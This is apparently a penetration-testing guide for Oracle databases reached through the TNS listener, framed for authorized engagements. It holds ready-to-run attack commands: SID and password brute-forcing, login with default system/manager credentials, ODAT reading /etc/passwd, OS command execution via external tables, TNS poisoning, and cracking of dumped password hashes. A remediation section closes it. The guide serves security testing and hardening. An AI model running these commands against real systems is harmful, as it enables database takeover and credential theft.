Testing Oracle Database via the TNS Listener (default ports 1521, plus secondary listeners 1522-1529) for SID disclosure/bruteforce, default and weak account credentials, TNS listener misconfiguration and poisoning, and ODAT-driven file read/write and OS command-execution primitives during authorized engagements.
Testing Oracle Database via the TNS Listener (default ports 1521, plus secondary listeners 1522-1529) for SID disclosure/bruteforce, default and weak account credentials, TNS listener misconfiguration and poisoning, and ODAT-driven file read/write and OS command-execution primitives during authorized engagements.
How to CONFIRM: sqlplus system/manager@<IP>:1521/<SID> connects, or ./odat passwordguesser reports valid pairs.
TNS listener with no password / TNS poison (CVE-2012-1675) — an unauthenticated listener can be queried/reconfigured; TNS poisoning lets an attacker register a rogue instance and MITM sessions.
How to CONFIRM: tnscmd10g status -h <IP> returns listener details without a password; check listener version against CVE-2012-1675.
File read/write + OS command execution via ODAT — with a valid DB account, abuse UTL_FILE (read/write files), external tables, DBMS_SCHEDULER/Java stored procedures (run OS commands), and UTL_HTTP/UTL_TCP for SSRF.
How to CONFIRM: ./odat utlfile -s <IP> -d <SID> -U <user> -P <pass> --getFile /tmp x /etc/passwd retrieves a file; ./odat externaltable ... --exec ... or ./odat dbmsscheduler ... --exec runs a command.
Privilege escalation via PUBLIC/EXECUTE grants — over-granted packages (DBMS_*) let low-priv users escalate to DBA.
Workflow
Step 1: Enumerate (version, SID, accounts)
nmap --script oracle-tns-version,oracle-sid-brute -p1521 <IP>
./odat sidguesser -s <IP> -p 1521
# Once a SID is known, fingerprint accessible accounts
./odat passwordguesser -s <IP> -p 1521 -d <SID> --accounts-file accounts.txt
Brute force oracle-listener / oracle-sid services.
Hashcat / John
Crack dumped sys.user$ hashes (modes 3100 / 112).
Common Scenarios
Scenario 1: SID brute → default creds → data dump
oracle-sid-brute reveals SID XE. sqlplus system/manager@<IP>:1521/XE connects with the default password, and the tester dumps application tables and sys.user$ hashes.
Scenario 2: Valid account → OS command execution
With a low-priv DB account, ODAT's external-table module writes a script to disk and executes it (./odat externaltable ... --exec), returning command output as the Oracle OS user.
Scenario 3: Unauthenticated listener → poisoning
An old listener answers tnscmd10g status without a password and is vulnerable to CVE-2012-1675, allowing a rogue instance to be registered and client sessions to be intercepted.
Output Format
## Oracle Finding
**Service**: Oracle TNS Listener
**Port**: 1521/tcp (Oracle 11g, SID=XE)
**Severity**: Critical
**Finding**: Default SYSTEM credentials enabling file read and OS command execution
**Evidence**:
- nmap oracle-sid-brute -> SID "XE"
- sqlplus system/manager@<IP>:1521/XE -> connected
- ./odat externaltable -s <IP> -d XE -U system -P manager --exec /tmp id -> uid=54321(oracle)
**Impact**: Full database compromise plus OS command execution as the Oracle service account.
**Recommendation**:
1. Change all default account passwords; lock/expire unused accounts (scott, dbsnmp, outln).
2. Set a listener password and apply patches for CVE-2012-1675 (enable Valid Node Checking).
3. Restrict 1521-1529 by firewall/source IP.
4. Revoke EXECUTE on UTL_FILE / DBMS_SCHEDULER / Java from PUBLIC and least-privilege app accounts.
